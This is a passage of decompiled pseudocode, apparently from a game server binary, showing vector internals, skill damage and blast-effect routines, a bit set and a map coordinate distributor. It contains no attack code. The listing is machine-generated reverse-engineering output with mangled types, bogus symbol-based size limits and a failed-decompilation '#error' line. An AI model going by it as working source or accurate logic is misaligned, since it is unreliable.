v28; // [sp+14h] [bp-18h]@1 __int16 v29; // [sp+18h] [bp-14h]@1 int *v30; // [sp+1Ch] [bp-10h]@1 int v31; // [sp+28h] [bp-4h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Wherea; // [sp+34h] [bp+8h]@29 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr; // [sp+38h] [bp+Ch]@22 void *_Newvec; // [sp+3Ch] [bp+10h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Newveca; // [sp+3Ch] [bp+10h]@27 v4 = this; v5 = _Val->hpchange; v6 = this->_Myfirst; _Tmp = *(_DWORD *)&_Val->handle; v7 = _Val->resthp; v27 = v5; LOWORD(v5) = _Val->hpchangeorder; v30 = &v25; v28 = v7; v29 = v5; if ( v6 ) { v9 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) - (unsigned int)v6)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v6 ) v11 = v4->_Mylast - v4->_Myfirst; else v11 = 0; if ( (unsigned int)&erasefile[-v11 + 9442] < _Count ) std::vector>::_Xlen(v4); if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v8 >= _Count + v12 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 3; _Newveca = v4->_Mylast; if ( v21 + ((unsigned int)v21 >> 31) >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 14 * _Count)); std::_Copy_backward_opt( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&v20 + 14 * _Count), (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); } else { std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v19, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&_Where + 14 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(14 * _Count)); v22 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 14; v23 = v4->_Mylast; v31 = 2; std::vector>::_Ufill( v4, v23, v22, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v24; std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(v24 - 14 * _Count), (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); } } else { if ( (unsigned int)&erasefile[-(v8 >> 1) + 9442] >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v4->_Myfirst ) v14 = v4->_Mylast - v4->_Myfirst; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size(v4); v15 = 14 * v13; _Newvec = operator new(14 * v13); v16 = v4->_Myfirst; v31 = 0; _Ptr = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v16, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v10, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v4->_Mylast, &_Ptr[v10], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 14; v18 = v17 + v10; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + v15); v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + 14 * v18); v4->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec; } } } //----- (004260D0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // eax@3 unsigned int v4; // ebx@6 SkillEffectApply::SkillBlastEffect *v5; // ST04_4@6 SkillEffectApply::SkillBlastEffect *v6; // ST00_4@6 SkillEffectApply::SkillBlastEffect *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&wholesaver.ws_savestore[1130].gapf2b8[16029] ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (SkillEffectApply::SkillBlastEffect *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 44 * _Count; _Ptr = operator new(44 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( v6, v5, (SkillEffectApply::SkillBlastEffect *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) operator delete(v2->_Myfirst); v2->_Myend = (SkillEffectApply::SkillBlastEffect *)((char *)_Ptr + v4); v2->_Mylast = (SkillEffectApply::SkillBlastEffect *)((char *)_Ptr + 44 * v8); v2->_Myfirst = (SkillEffectApply::SkillBlastEffect *)_Ptr; } } //----- (0042619F) -------------------------------------------------------- void __usercall _L162719(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (004261C0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // eax@3 unsigned int v4; // ebx@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ST04_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ST00_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // eax@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&erasefile[9442] ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 14 * _Count; _Ptr = operator new(14 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v6, v5, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((char *)v2->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) - (unsigned int)v7)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v2->_Myfirst ) operator delete(v2->_Myfirst); v2->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + v4); v2->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + 14 * v8); v2->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr; } } //----- (00426296) -------------------------------------------------------- void __usercall _L162839(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (004262B0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // ebx@1 SkillEffectApply::SkillBlastEffect *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 int v13; // edi@22 SkillEffectApply::SkillBlastEffect *v14; // ST14_4@22 int v15; // eax@22 int v16; // esi@24 SkillEffectApply::SkillBlastEffect *v17; // ecx@27 std::vector >::iterator v18; // edi@27 SkillEffectApply::SkillBlastEffect *v19; // ecx@28 SkillEffectApply::SkillBlastEffect *v20; // ST20_4@28 unsigned int v21; // esi@28 int v22; // [sp+0h] [bp-48h]@1 SkillEffectApply::SkillBlastEffect _Tmp; // [sp+Ch] [bp-3Ch]@1 int *v24; // [sp+38h] [bp-10h]@1 int v25; // [sp+44h] [bp-4h]@22 SkillEffectApply::SkillBlastEffect *_Wherea; // [sp+50h] [bp+8h]@29 SkillEffectApply::SkillBlastEffect *_Ptr; // [sp+54h] [bp+Ch]@22 void *_Newvec; // [sp+58h] [bp+10h]@22 SkillEffectApply::SkillBlastEffect *_Newveca; // [sp+58h] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v24 = &v22; if ( v5 ) { v7 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1130].gapf2b8[-v9 + 16029] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v17 = v4->_Mylast; v18 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 44 >= _Count ) { _Wherea = &v17[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( &v17[-_Count], v17, v17, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v17 - 44 * _Count)); std::copy_backward( *(SkillEffectApply::SkillBlastEffect **)&v18, _Wherea, _Newveca); std::fill( *(SkillEffectApply::SkillBlastEffect **)&v18, (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&v18 + 44 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( *(SkillEffectApply::SkillBlastEffect **)&_Where, v17, (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&_Where + 44 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(44 * _Count)); v19 = v4->_Mylast; v20 = v4->_Mylast; v25 = 2; std::vector>::_Ufill( v4, v20, _Count - (signed int)((char *)v19 - *(_DWORD *)&_Where) / 44, &_Tmp); v21 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)v21; std::fill( *(SkillEffectApply::SkillBlastEffect **)&_Where, (SkillEffectApply::SkillBlastEffect *)(v21 - 44 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1130].gapf2b8[-(v6 >> 1) + 16029] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); v13 = 44 * v11; _Newvec = operator new(44 * v11); v14 = v4->_Myfirst; v25 = 0; _Ptr = std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( v14, *(SkillEffectApply::SkillBlastEffect **)&_Where, (SkillEffectApply::SkillBlastEffect *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( *(SkillEffectApply::SkillBlastEffect **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 44; v16 = v15 + v8; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + v13); v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + 44 * v16); v4->_Myfirst = (SkillEffectApply::SkillBlastEffect *)_Newvec; } } } //----- (00426560) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 std::vector >::iterator v6; // ebp@10 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // edi@11 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 ) { v6 = (std::vector >::iterator)this->_Mylast; if ( _Newsize < this->_Mylast - v3 ) { v7 = &v3[_Newsize]; if ( v7 != (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v6 ) this->_Mylast = std::_Copy_opt( v6, v6, v7, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00426610) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // edi@1 SkillEffectApply::SkillBlastEffect *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(780903145i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00426680) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val) { SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00426720) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this) { this->sds_List._Myfirst = 0; this->sds_List._Mylast = 0; this->sds_List._Myend = 0; std::vector>::reserve( &this->sds_List, 0x32u); } //----- (00426770) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this) { std::vector > *v1; // esi@1 _BYTE v2[14]; // ST04_14@1 v1 = (std::vector > *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillDamageSender::sds_Initialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = 0; *(_TBYTE *)&v2[4] = 0.0; std::vector>::resize( v1, 0, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); } //----- (00426820) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this) { this->sbec_List._Myfirst = 0; this->sbec_List._Mylast = 0; this->sbec_List._Myend = 0; std::vector>::reserve( &this->sbec_List, 0x64u); } //----- (00426870) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 SkillEffectApply::SkillBlastEffect *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00426900) -------------------------------------------------------- #error "426900: undefined or illegal type '#748' (funcsize=117)" //----- (00426AA0) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(SkillEffectApply::SkillBlastEffectContainer *this) { SkillEffectApply::SkillBlastEffectContainer *v1; // ebx@1 int v2; // ebp@2 int v3; // eax@5 int v4; // ecx@7 unsigned __int16 v5; // ax@13 char *v6; // eax@14 int v7; // ecx@18 bool v8; // sf@29 unsigned __int8 v9; // of@29 int v10; // eax@30 SkillEffectApply::SkillBlastEffect v11; // [sp-2Ch] [bp-C4h]@33 std::vector >::iterator *v12; // [sp-8h] [bp-A0h]@6 std::vector >::iterator v13; // [sp-4h] [bp-9Ch]@6 int k; // [sp+10h] [bp-88h]@1 FunctionEntarance _; // [sp+14h] [bp-84h]@1 std::vector >::iterator result; // [sp+18h] [bp-80h]@3 SkillEffectApply::SkillBlastEffectContainer *v17; // [sp+1Ch] [bp-7Ch]@5 int v18; // [sp+20h] [bp-78h]@5 char v19; // [sp+24h] [bp-74h]@33 SetItemData::SkillEffect tmp; // [sp+50h] [bp-48h]@1 int v21; // [sp+94h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; memcpy(&tmp, &setitemskilleffect, sizeof(tmp)); LOBYTE(v21) = 1; k = 0; do { v2 = (int)v1->sbec_List._Myfirst; if ( !v2 ) break; result = (std::vector >::iterator)((signed int)((char *)v1->sbec_List._Mylast - v2) / 44); if ( !*(_DWORD *)&result ) break; if ( *(_DWORD *)v2 > clockwatch.cw_CurrTick ) break; v18 = v2; v17 = v1; v3 = *(_DWORD *)(v2 + 8); LOBYTE(v21) = 2; if ( v3 ) { v4 = *(_DWORD *)(v2 + 16); if ( !v4 || (unsigned __int8)(*(int (**)(void))(*(_DWORD *)v4 + 768))() || (*(int (**)(void))(**(_DWORD **)(v2 + 16) + 836))() != *(_DWORD *)(v2 + 12) ) goto LABEL_28; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 16) + 1136))() == 1 || (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 16) + 1136))() == 2 ) { v5 = (*(int (**)(void))(**(_DWORD **)(v2 + 16) + 2752))(); if ( v5 < 0x80u && (v6 = (char *)&setitemskilleffectqueue + 64 * v5) != 0 && *(_WORD *)v6 == *(_WORD *)(*(_DWORD *)(v2 + 16) + 4) ) memcpy(&setitemskilleffect, v6 + 4, sizeof(setitemskilleffect)); else SetItemData::SkillEffect::se_Clear(&setitemskilleffect); v7 = *(_DWORD *)(v2 + 28); if ( !v7 ) { SkillEffectApply::SkillDamageSender::sds_Initialize(&skilldamagesender); SkillEffectApply::SkillBlastEffect::sbe_BlastLocate((SkillEffectApply::SkillBlastEffect *)v2); goto LABEL_27; } if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)v7 + 768))() ) { (*(void (__stdcall **)(signed int))(**(_DWORD **)(v2 + 16) + 2728))(4043); v13 = (std::vector >::iterator)v2; v12 = &result; } else { if ( (*(int (**)(void))(**(_DWORD **)(v2 + 28) + 836))() == *(_DWORD *)(v2 + 24) ) { if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 28) + 1136))() ) { SkillEffectApply::SkillDamageSender::sds_Initialize(&skilldamagesender); SkillEffectApply::SkillBlastEffect::sbe_BlastObject((SkillEffectApply::SkillBlastEffect *)v2); LABEL_27: SkillEffectApply::SkillDamageSender::sds_Finish( &skilldamagesender, (SkillEffectApply::SkillBlastEffect *)v2); (*(void (**)(void))(**(_DWORD **)(v2 + 16) + 2756))(); LABEL_28: v13 = (std::vector >::iterator)v2; v12 = &result; goto LABEL_29; } (*(void (__stdcall **)(signed int))(**(_DWORD **)(v2 + 16) + 2728))(4043); v13 = (std::vector >::iterator)v2; v12 = &result; } else { (*(void (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 16) + 2728))(4043); v13 = (std::vector >::iterator)v2; v12 = &result; } } } else { v13 = (std::vector >::iterator)v2; v12 = &result; } } else { v13 = (std::vector >::iterator)v2; v12 = &result; } LABEL_29: LOBYTE(v21) = 1; std::vector>::erase( &v1->sbec_List, v12, v13); v9 = __OFSUB__(k + 1, 10); v8 = k++ - 9 < 0; } while ( v8 ^ v9 ); v10 = (int)v1->sbec_List._Myfirst; if ( v10 ) v10 = (signed int)((char *)v1->sbec_List._Mylast - v10) / 44; result = (std::vector >::iterator)((unsigned int)v10 < 0x12C); if ( (unsigned int)v10 >= 0x12C ) { AssertClass::ac_AssertFail( &shineassert, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine : Too many skill reserved", 0); memset(&v19, 0, 0x2Cu); memcpy(&v11, &v19, sizeof(v11)); std::vector>::resize( &v1->sbec_List, 0, v11); } memcpy(&setitemskilleffect, &tmp, sizeof(setitemskilleffect)); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tmp); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"); } //----- (00426DC0) -------------------------------------------------------- void __thiscall BitSet::BitSet(BitSet *this, int maxbit) { int v2; // eax@1 this->bs_maxbit = maxbit; v2 = (maxbit + 7) / 8; this->bs_maxbyte = v2; this->bs_bitlist = (char *)operator new(v2); } //----- (00426DF0) -------------------------------------------------------- void __thiscall BitSet::_BitSet(BitSet *this) { operator delete(this->bs_bitlist); } //----- (00426E00) -------------------------------------------------------- void __thiscall BitSet::bs_clear(BitSet *this) { unsigned int v1; // eax@1 v1 = 0; if ( this->bs_maxbyte ) { do this->bs_bitlist[v1++] = 0; while ( v1 < this->bs_maxbyte ); } } //----- (00426E20) -------------------------------------------------------- bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd) { return bd->bd_Act == 0; } //----- (00426E30) -------------------------------------------------------- char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy) { signed int v2; // esi@2 signed int v3; // eax@2 char *v4; // edi@2 int v5; // edx@5 unsigned int v6; // edi@7 unsigned int v7; // eax@8 char *v8; // eax@8 int v9; // edx@8 int v10; // edx@8 signed int v11; // eax@8 int v12; // esi@9 char *v13; // edx@12 __int64 v14; // qax@17 __int64 v15; // qax@17 int emptycellnum; // [sp+10h] [bp-10h]@4 int v18; // [sp+14h] [bp-Ch]@7 int v19; // [sp+18h] [bp-8h]@7 int v20; // [sp+1Ch] [bp-4h]@7 if ( this->bd_Brenchs ) { while ( 2 ) { v2 = 0; v3 = 0; v4 = (char *)this->bd_Brench; do { if ( *(_DWORD *)v4 ) { v5 = *(_WORD *)(*(_DWORD *)v4 + 26); *(&emptycellnum + v3) = v5; v2 += v5; } else { *(&emptycellnum + v3) = 0; } ++v3; v4 += 4; } while ( v3 < 4 ); emptycellnum = 1000 * emptycellnum / v2; v18 = 1000 * v18 / v2; v19 = 1000 * v19 / v2; v6 = 0; v20 = 1000 * v20 / v2; LABEL_8: v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = *(_WORD *)&v8[2 * v9]; v11 = 0; while ( 1 ) { v12 = *(&emptycellnum + v11); if ( v10 < v12 ) break; v10 -= v12; ++v11; if ( v11 >= 4 ) { ++v6; if ( v6 < 0xA ) goto LABEL_8; v11 = 0; v13 = (char *)this->bd_Brench; while ( v11 < 4 ) { if ( *(_DWORD *)v13 ) goto LABEL_16; ++v11; v13 += 4; } return 0; } } LABEL_16: this = this->bd_Brench[v11]; if ( this->bd_Brenchs ) continue; break; } } v14 = this->bd_Top + this->bd_Bottom; xy->x = ((signed int)v14 - HIDWORD(v14)) >> 1; v15 = this->bd_Left + this->bd_Right; xy->y = ((signed int)v15 - HIDWORD(v15)) >> 1; return 1; } //----- (00426F80) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // 